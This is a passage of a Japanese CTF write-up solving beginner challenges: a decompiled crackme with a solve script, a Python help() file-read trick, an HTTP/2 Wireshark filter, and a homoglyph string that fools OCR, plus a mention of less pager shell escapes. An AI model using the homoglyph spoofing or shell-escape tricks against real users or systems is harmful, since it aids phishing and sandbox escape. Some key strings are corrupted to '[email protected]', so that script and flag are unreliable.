      tagPAINTSTRUCT atStack312 [3];
      DWORD DStack44;
      DWORD DStack40;
      DWORD DStack36;
      HDC pHStack32;
      HANDLE pvStack24;
      HANDLE pvStack16;
      
      if (param_2 == 0x111) {
        if ((short)param_3 != 0x1337) {
          return 0;
        }
        GetWindowTextA(hFlag,(LPSTR)atStack312,0x100);
        pvStack16 = CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,(LPTHREAD_START_ROUTINE)&t1,atStack312,0,
                                 &DStack36);
        pvStack24 = CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,(LPTHREAD_START_ROUTINE)&t2,atStack312,0,
                                 &DStack36);
        WaitForSingleObject(pvStack16,0xffffffff);
        WaitForSingleObject(pvStack24,0xffffffff);
        GetExitCodeThread(pvStack16,&DStack40);
        GetExitCodeThread(pvStack24,&DStack44);
        CloseHandle(pvStack16);
        CloseHandle(pvStack24);
        if ((DStack40 == 0) && (DStack44 == 0)) {
          MessageBoxA((HWND)0x0,"Correct flag!","DOPE",0x40);
        }
        else {
          MessageBoxA((HWND)0x0,"Wrong flag...","NOPE",0x10);
        }
        return 0;
      }
      if (param_2 < 0x112) {
        if (param_2 == 0xf) {
          pHStack32 = BeginPaint(param_1,atStack312);
          TextOutA(pHStack32,8,8,"Give me ticket:",0xf);
          EndPaint(param_1,atStack312);
          return 0;
        }
        if (param_2 < 0x10) {
          if (param_2 == 1) {
            TLS = TlsAlloc();
            hFlag = CreateWindowExA(0,"EDIT","",0x50800080,0x10,0x26,200,0x1e,param_1,(HMENU)0xdead,
                                    *(HINSTANCE *)(param_4 + 8),(LPVOID)0x0);
            CreateWindowExA(0,"BUTTON","check",0x50000000,0xe4,0x26,0x40,0x1e,param_1,(HMENU)0x1337,
                            *(HINSTANCE *)(param_4 + 8),(LPVOID)0x0);
            return 0;
          }
          if (param_2 == 2) {
            TlsFree(TLS);
            PostQuitMessage(0);
            return 0;
          }
        }
      }
      LVar1 = DefWindowProcA(param_1,param_2,param_3,param_4);
      return LVar1;
    }

    挙動を深くは理解できなかった (exe わかりません…) のですが、 t1t2 を見てみると以下のような処理が書いてありました。

    t1
      iStack12 = 0;
      TlsSetValue(TLS,"c4{fAPu8#FHh2+0cyo8$SWJH3a8X");
      for (uStack16 = 0;
          (uStack16 < 0x100 && (cStack17 = *(char *)(param_1 + (int)uStack16), cStack17 != '\0'));
          uStack16 = uStack16 + 1) {
        if (((int)uStack16 % 3 == 0) || ((int)uStack16 % 5 == 0)) {
          lVar1 = (longlong)iStack12;
          iStack12 = iStack12 + 1;
          *(char *)((longlong)&uStack280 + lVar1) = cStack17;
        }
      }
      *(undefined *)((longlong)&uStack280 + (longlong)iStack12) = 0;
      check(&uStack280);
      return;
    
    
    t2
      iStack12 = 0;
      TlsSetValue(TLS,"tfb%[email protected]&3b}");
      for (uStack16 = 0;
          (uStack16 < 0x100 && (cStack17 = *(char *)(param_1 + (int)uStack16), cStack17 != '\0'));
          uStack16 = uStack16 + 1) {
        if (((int)uStack16 % 3 != 0) && ((int)uStack16 % 5 != 0)) {
          lVar1 = (longlong)iStack12;
          iStack12 = iStack12 + 1;
          acStack280[lVar1] = cStack17;
        }
      }
      acStack280[iStack12] = '\0';
      check(acStack280);
      return;

    fizzbuzz のように、3の倍数、5の倍数では t1 が、それ以外では t2 が呼ばれるような挙動になっています。これをもとにフラグを復元できました。

    solve.py
    s0 = "c4{fAPu8#FHh2+0cyo8$SWJH3a8X"
    s1 = "tfb%[email protected]&3b}"
    
    idx0 = 0
    idx1 = 0
    ans = ""
    for i in range(len(s0) + len(s1)):
        if i % 3 == 0 or i % 5 == 0:
            ans += s0[idx0]
            idx0 += 1
        else:
            ans += s1[idx1]
            idx1 += 1

    ctf4b{f%sAP$uT98Nv#[email protected]$ySoCW3rJPH3y&a83Xb}

    Quiz

    650 solves

    Welcome, it's time for the binary quiz!
    ようこそ、バイナリクイズの時間です!
    
    Q1. What is the executable file's format used in Linux called?
        Linuxで使われる実行ファイルのフォーマットはなんと呼ばれますか?
        1) ELM  2) ELF  3) ELR
    Answer : 2
    Correct!
    
    Q2. What is system call number 59 on 64-bit Linux?
        64bit Linuxにおけるシステムコール番号59はなんでしょうか?
        1) execve  2) folk  3) open
    Answer : 1
    Correct!
    
    Q3. Which command is used to extract the readable strings contained in the file?
        ファイルに含まれる可読文字列を抽出するコマンドはどれでしょうか?
        1) file  2) strings  3) readelf
    Answer : 2
    Correct!
    
    Q4. What is flag?
        フラグはなんでしょうか?
    Answer : kusogayo
    flag length must be 46.
    

    最初から strings quiz | grep ctf でよかった…

    ctf4b{w0w_d1d_y0u_ca7ch_7h3_fl4g_1n_0n3_sh07?}

    misc

    hitchhike4b

    125 solves

    import os
    os.environ["PAGER"] = "cat" # No hitchhike(SECCON 2021)
    
    if __name__ == "__main__":
        flag1 = "********************FLAG_PART_1********************"
        help() # I need somebody ...
    
    if __name__ != "__main__":
        flag2 = "********************FLAG_PART_2********************"
        help() # Not just anybody ...

    python の pager は通常 less で開かれるのですが、今回の問題では cat が使われるようにしています。 less なら !/bin/ls などでコマンドを使えるのですが、今回は使えません。

    __xxx__ というタイプの入力でなにかおもしろい結果にならないかなと思って探していると、 __main__ でファイルを読み取ることができました。なるほど。

    help> __main__
    Help on module __main__:
    
    NAME
        __main__
    
    DATA
        __annotations__ = {}
        flag1 = 'ctf4b{53cc0n_15_1n_m'
    
    FILE
        /home/ctf/hitchhike4b/app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc.py
    

    これでフラグの前半部分がわかりました。後半部分はどうしましょう。 ファイル名が app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc.py であることがわかったので、これを読み出す方法はないのかなと思い、 app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc と試しに入力してみたら表示できました。なるほど module 扱いになるのか。

    help> app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc
    Help on module app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc:
    
    NAME
        app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc
    
    DATA
        flag2 = 'y_34r5_4nd_1n_my_3y35}'
    
    FILE
        /home/ctf/hitchhike4b/app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc.py
    

    ctf4b{53cc0n_15_1n_my_34r5_4nd_1n_my_3y35}

    頭をあまり使わずに解いてしまった…

    H2

    248 solves

    main.go
    package main
    
    import (
      "net/http"
      "log"
      "fmt"
      "golang.org/x/net/http2"
      "golang.org/x/net/http2/h2c"
    )
    
    const SECRET_PATH = "<secret>"
    
    func main() {
      handler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        if r.URL.Path == SECRET_PATH {
          w.Header().Set("x-flag", "<secret>")
        }
        w.WriteHeader(200)
        fmt.Fprintf(w, "Can you find the flag?\n")
      })
    
      h2s := &http2.Server{}
      h1s := &http.Server{
        Addr:    ":8080",
        Handler: h2c.NewHandler(handler, h2s),
      }
    
      log.Fatal(h1s.ListenAndServe())
    }

    正解の path へアクセスすると x-flag というヘッダ付でレスポンスが返ってきます。フラグが <secret> に入っているのかは非自明ですが、とりあえず wireshark で x-flag のついてるレスポンスを探します。 目 grep で頑張ろうと思いましたが量が多くて無理でした… filter をあれこれ試してみると、 http2.header.name=="x-flag" という filter で所望のレスポンスを絞り出すことができました。

    Header: x-flag: ctf4b{http2_uses_HPACK_and_huffm4n_c0ding}
        Name Length: 6
        Name: x-flag
        Value Length: 42
        Value: ctf4b{http2_uses_HPACK_and_huffm4n_c0ding}
        [Unescaped: ctf4b{http2_uses_HPACK_and_huffm4n_c0ding}]
        Representation: Literal Header Field with Incremental Indexing - New Name
    

    ctf4b{http2_uses_HPACK_and_huffm4n_c0ding}

    phisher

    238 solves

    phisher.py
    import os
    import pyocr
    import random
    import string
    import cv2 as cv
    import numpy as np
    from PIL import ImageFont, ImageDraw, Image
    
    
    flag = os.getenv("CTF4B_FLAG")
    
    fqdn = "www.example.com"
    
    # TEXT to PNG
    def text2png(text:str) -> str:
        os.makedirs("phish", exist_ok=True)
        filename = "".join([random.choice(string.ascii_letters) for i in range(15)])
        png = f"phish/{filename}.png"
        img = np.full((100, 600, 3), 0, dtype=np.uint8)
        font = ImageFont.truetype("font/Murecho-Black.ttf", 64)
        img_pil = Image.fromarray(img)
        ImageDraw.Draw(img_pil).text((10, 0), text[:15], font=font, fill=(255, 255, 255)) # text[:15] :)
        img = np.array(img_pil)
        cv.imwrite(png, img)
        return png
    
    # PNG to TEXT (OCR-English)
    def ocr(image:str) -> str:
        tool = pyocr.get_available_tools()[0]
        text = tool.image_to_string(Image.open(image), lang="eng")
        # os.remove(image)
        if not text:
            text = "???????????????"
        return text
    
    # Can you deceive the OCR?
    # Give me "www.example.com" without using "www.example.com" !!!
    def phishing() -> None:
        input_fqdn = input("FQDN: ")[:15]
        ocr_fqdn = ocr(text2png(input_fqdn))
        if ocr_fqdn == fqdn: # [OCR] OK !!!
            for c in input_fqdn:
                if c in fqdn:
                    global flag
                    flag = f"\"{c}\" is included in \"www.example.com\" ;("
                    break
            print(flag)
        else: # [OCR] NG
            print(f"\"{ocr_fqdn}\" is not \"www.example.com\" !!!!")
    
    if __name__ == "__main__":
        print("""       _     _     _                  ____    __
     _ __ | |__ (_)___| |__   ___ _ __   / /\ \  / /
    | '_ \| '_ \| / __| '_ \ / _ \ '__| / /  \ \/ /
    | |_) | | | | \__ \ | | |  __/ |    \ \  / /\ \\
    | .__/|_| |_|_|___/_| |_|\___|_|     \_\/_/  \_\\
    |_|
    """)
        phishing()

    www.example.com という文字列を使わずに、 OCR の結果が www.example.com となる文字列を探す問題です (激ムズ) まずは https://www.irongeek.com/homoglyph-attack-generator.php で似ている文字を列挙し、 OCR 結果が妥当なものになるものをポチポチ試していきました。対応しているフォントはあまり多くなく、豆腐を何度も見ました…これで www 以外はなんとかなりました。 w はレパートリーが少なくて困っていたのですが、 https://github.com/codebox/homoglyph/blob/master/raw_data/chars.txtw の行を見るといくつか使えそうなものがありました。 最終的には ᴡᴡᴡ․еⅹаⅿρⅼе․ⅽоⅿ という入力で成功しました。

    ctf4b{n16h7_ph15h1n6_15_600d}

    これが238も解かれているの理解に苦しみます。今回解けた問題の中では一番苦戦した気がする…

      ;